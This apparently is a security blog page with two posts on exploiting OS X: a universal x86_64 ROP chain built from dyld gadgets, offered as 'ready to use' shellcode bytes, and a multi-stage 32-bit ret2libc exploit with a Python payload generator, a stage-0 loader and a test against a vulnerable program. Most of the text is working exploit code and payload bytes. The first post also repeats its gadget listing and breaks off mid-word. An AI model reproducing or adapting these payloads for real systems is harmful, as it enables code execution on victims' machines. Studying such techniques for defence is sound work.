Yet another universal OSX x86_64 dyld ROP shellcode

July 30, 2011 by longld · Leave a Comment 

This technique was killed by OSX Lion 10.7 with full ASLR. @pa_kt has posted an Universal ROP shellcode for OS X x64 with detail steps and explanation. If you don’t have a chance to read above post, the basic ideas are:

  • Copy stubcode to a writable area (.data section)
  • Make that area RWX
  • Jump to RWX area and execute stubcode
  • Stubcode will transfer normal shellcode to RWX area and execute it
  • All the ROP gadgets are from dyld module which is not randomized

In this post, we shows another OSX x86_64 dyld ROP shellcode which is more simple. We employ the same ideas with some minor differences in implementation:

  • Instead of using long gadgets with “leave”, we use direct, short gadgets from unintended code
  • Calling mprotect() via syscall
  • Short stubcode (7 bytes) using memcpy() to transfer payload

Here is the ROP shellcode with explanation:


# store [target], stubcode

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0xc353575e545a5b90 # => rsi = stubcode

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc74f80 # => rdi

0x00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]

# load rdx, 0x7 (prot RWX)

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75001 # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1]

0x00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl

0x00007fff5fc75000 # => rbp

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000000007 # => rsi

0x00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0x7

# load rsi, 4096 (size)

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000001000 # => rsi = 4096

# load rax, mprotect_syscall

0x00007fff5fc24cdc # pop rdi

0x000000000200004b # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0x200004a (mprotect syscall)

# load rdi, target

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75000 # => rdi = target

# syscall

0x00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)

0x00007fff5fc75000 # jump to target, execute stubcode

# stubcode

# 5B                pop rbx     # rbx -> memcpy()

# 5A                pop rdx     # rdx -> size

# 54                push rsp    # src -> &shellcode

# 5E                pop rsi     # src -> &shellcode

# 57                push rdi    # jump to target when return from memcpy()

# 53                push rbx    # memcpy()

# C3                ret         # execute memcpy(target, &shellcode, size)

0x00007fff5fc234f0 # &memcpy()

0x0000000000000200 # shellcode size = 512

<your shellcode here>

You can verify those gadgets and find more here: http://goo.gl/p35vY

Ready to use shellcode:


"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x90\x5b\x5a\x54\x5e\x57\x53\xc3"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x80\x4f\xc7\x5f\xff\x7f\x00\x00"

"\x26\x4d\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x01\x50\xc7\x5f\xff\x7f\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xc3\x19\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"

"\x49\x41\xc1\x5f\xff\x7f\x00\x00\xee\xe7\xc0\x5f\xff\x7f\x00\x00"

"\x00\x10\x00\x00\x00\x00\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x4b\x00\x00\x02\x00\x00\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\x6d\xc7\xc1\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xf0\x34\xc2\x5f\xff\x7f\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
# store [target], stubcode
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0xc353575e545a5b90 # => rsi = stubcode: memcpy(target, shellcode, size)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc74f80 # => rdi
0×00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]
# load rdx, 0×7 (prot RWX)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75001 # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1]
0×00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl
0×00007fff5fc75000 # => rbp
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000000007 # => rsi
0×00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0×7
# load rsi, 4096 (size)
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000001000 # => rsi = 4096
# load rax, mprotect_syscall
0×00007fff5fc24cdc # pop rdi
0×000000000200004b # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0×200004a (mprotect syscall)
# load rdi, target
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75000 # => rdi = target
# syscall
0×00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)
0×00007fff5fc75000 # jump to target, execute stubcode
# stubcode
# 5B                pop rbx     # rbx -> memcpy()
# 5A                pop rdx     # rdx -> size
# 54                push rsp    # src -> &shellcode
# 5E                pop rsi     # src -> &shellcode
# 57                push rdi    # jump to target when return from memcpy()
# 53                push rbx    # memcpy()
# C3                ret         # execute memcpy(target, &shellcode, size)
0×00007fff5fc234f0 # &memcpy()
0×0000000000000200 # shellcode size = 512
<your shellcode he
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Simple Mac OS X ret2libc exploit (x86)

October 5, 2010 by longld · 2 Comments 

Talking about buffer overflow exploit on x86, Mac OS X is the most easy and hacker friendly target compare to Linux or Windows. OS X always loads /usr/lib/dyld at a fixed location and it contains a lot of helper stubs to launch the exploit. If you want something advanced likes ROP (Return-Oriented-Programming) exploit you may have a look at “Mac OS X Return-Oriented Exploitation” and thorough step-by-step guide “OSX ROP Exploit – EvoCam Case Study“. But actually, we don’t need ROP for 32-bit exploitation on OS X, simple ret2libc is enough and straightforward to implement. Let take a look at multi-stage ret2libc exploit on OS X.

The target

Under OSX, dyld is always loaded at a fixed location with __IMPORT page is RWX as shown below:

#__TEXT                 8fe00000-8fe0b000 [   44K] r-x/rwx SM=COW  /usr/lib/dyld
#__TEXT                 8fe0b000-8fe0c000 [    4K] r-x/rwx SM=PRV  /usr/lib/dyld
#__TEXT                 8fe0c000-8fe42000 [  216K] r-x/rwx SM=COW  /usr/lib/dyld
#__LINKEDIT             8fe70000-8fe84000 [   80K] r–/rwx SM=COW  /usr/lib/dyld
#__DATA                 8fe42000-8fe44000 [    8K] rw-/rwx SM=PRV  /usr/lib/dyld
#__DATA                 8fe44000-8fe6f000 [  172K] rw-/rwx SM=COW  /usr/lib/dyld
#__IMPORT               8fe6f000-8fe70000 [    4K] rwx/rwx SM=COW  /usr/lib/dyld
__TEXT                 8fe00000-8fe0b000 [   44K] r-x/rwx SM=COW  /usr/lib/dyld
__TEXT                 8fe0b000-8fe0c000 [    4K] r-x/rwx SM=PRV  /usr/lib/dyld
__TEXT                 8fe0c000-8fe42000 [  216K] r-x/rwx SM=COW  /usr/lib/dyld
__LINKEDIT             8fe70000-8fe84000 [   80K] r--/rwx SM=COW  /usr/lib/dyld
__DATA                 8fe42000-8fe44000 [    8K] rw-/rwx SM=PRV  /usr/lib/dyld
__DATA                 8fe44000-8fe6f000 [  172K] rw-/rwx SM=COW  /usr/lib/dyld
__IMPORT               8fe6f000-8fe70000 [    4K] rwx/rwx SM=COW  /usr/lib/dyld

Our target is to transfer the desired shellcode to the __IMPORT section of dyld then execute it. We can simply do this with byte-per-byte copy way of ROPEME. There is some disadvantages with this method:

  • Payload size is large, around 10 times of actual shellcode
  • We have to re-generate the whole payload when changing to new shellcode

With OS X we can do it better as there is a RWX page at static location.

Staging payload

The most complicated part of ROP technique is “stack pivoting” or ESP register control under ASLR. By executing a small shellcode we can take ESP under control easily. Our multi-stage payload will look like:

Stage-2: actual shellcode

This is the last stage in our multi-stage payload. Any NULL-free shellcode can be used, e.g bind shell code from Metasploit.

Stage-1: shellcode loader for stage-2 payload

This stage will transfer stage-2 payload on stack to __IMPORT section (RWX) of dyld then executes it. The transfer function is _strcpy() in dyld. Below small shellcode will be executed on RWX page to perform the job:

# 58                pop eax     # eax -> TARGET
# 5B                pop ebx     # ebx -> STRCPY
# 54                push esp    # src -> &shellcode
# 50                push eax    # dst -> TARGET
# 50                push eax    # jump to TARGET when return from _strcpy()
# 53                push ebx    # STRCPY
# C3                ret         # execute _strcpy(TARGET, &shellcode)

Stage-0: ret2libc loader for stage-1 payload

This stage will transfer 7 bytes of stage-1 payload to our RWX location using repeated _strcpy() calls, then executes it. We lookups the dyld for necessary byte values and copy it to the target byte-per-byte.

In summary, there is some advantages with our multi-stage payload:

  • Straightforward to implement: only ret2libc calls, no gadget is required
  • Payload size overhead is small: around 100 bytes
  • Independent, generic loader code: no need to regenerate the whole payload, just append a new shellcode to make new payload

Automated payload generator

Let put all this together and make an automated payload generator in Python.

  • Select the target
#__IMPORT               8fe6f000-8fe70000 [    4K] rwx/rwx SM=COW  /usr/lib/dyld
TARGET = 0x8fe6f010 # to avoid NULL byte
# dyld base address
DYLDADDR = 0x8fe00000
  • Extract dyld’s i386 code
# $ otool -f /usr/lib/dyld
# ...
#architecture 1
#    cputype 7
#    cpusubtype 3
#    capabilities 0x0
#    offset 352256
#    size 368080
#    align 2^12 (4096)
# ...

DYLDFILE = "/usr/lib/dyld"
DYLDCODE = open(DYLDFILE, "rb").read()
DYLDCODE = DYLDCODE[352256 : 352256+368080]
  • _strcpy() call
# $ nm -arch i386 /usr/lib/dyld | grep _strcpy
# 8fe2db10 t _strcpy
STRCPY = 0x8fe2db10

# $ otool -arch i386 -tv /usr/lib/dyld | grep pop -A2 | grep ret -B1 | grep pop
# 8fe28790        popl    %edi
# 8fe2b3d4        popl    %edi
POP2RET = 0x8fe2878f
  • stage-1
# stage1
# 58                pop eax     # eax -> TARGET
# 5B                pop ebx     # ebx -> STRCPY
# 54                push esp    # dst -> &shellcode
# 50                push eax    # src -> TARGET
# 50                push eax    # jump to TARGET when return from _strcpy()
# 53                push ebx    # STRCPY
# C3                ret         # execute _strcpy(TARGET, &shellcode)

STAGE1 = "\x58\x5b\x54\x50\x50\x53\xc3"
  • stage-0
# stage0: _strcpy sequences
STAGE0 = gen_stage0(DYLDCODE, STAGE1)

Below is the stage-0 payload loader generated for OS X 10.6.4:

STAGE0 = (  "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x10\xf0\xe6\x8f\x31\x24\xe1\x8f"
            "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x12\xf0\xe6\x8f\x32\x01\xe0\x8f"
            "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x13\xf0\xe6\x8f\x7e\x21\xe1\x8f"
            "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x15\xf0\xe6\x8f\x45\x10\xe0\x8f"
            "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x16\xf0\xe6\x8f\x44\x10\xe0\x8f"
            "\x10\xf0\xe6\x8f\x10\xf0\xe6\x8f\x10\xdb\xe2\x8f" )

Test the payload with simple buffer overflow:

bash-3.2$ ./vuln "`python -c 'print "A"*272 + "\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x10\xf0\xe6\x8f\x31\x24\xe1\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x12\xf0\xe6\x8f\x32\x01\xe0\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x13\xf0\xe6\x8f\x7e\x21\xe1\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x15\xf0\xe6\x8f\x45\x10\xe0\x8f\x10\xdb\xe2\x8f\x8f\x87\xe2\x8f\x16\xf0\xe6\x8f\x44\x10\xe0\x8f\x10\xf0\xe6\x8f\x10\xf0\xe6\x8f\x10\xdb\xe2\x8f" + "\xcc"*4'`

...

Trace/BPT trap

bash-3.2$

Looking for the next? Maybe “Mac OS X ROP exploit on x86_64″ someday.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca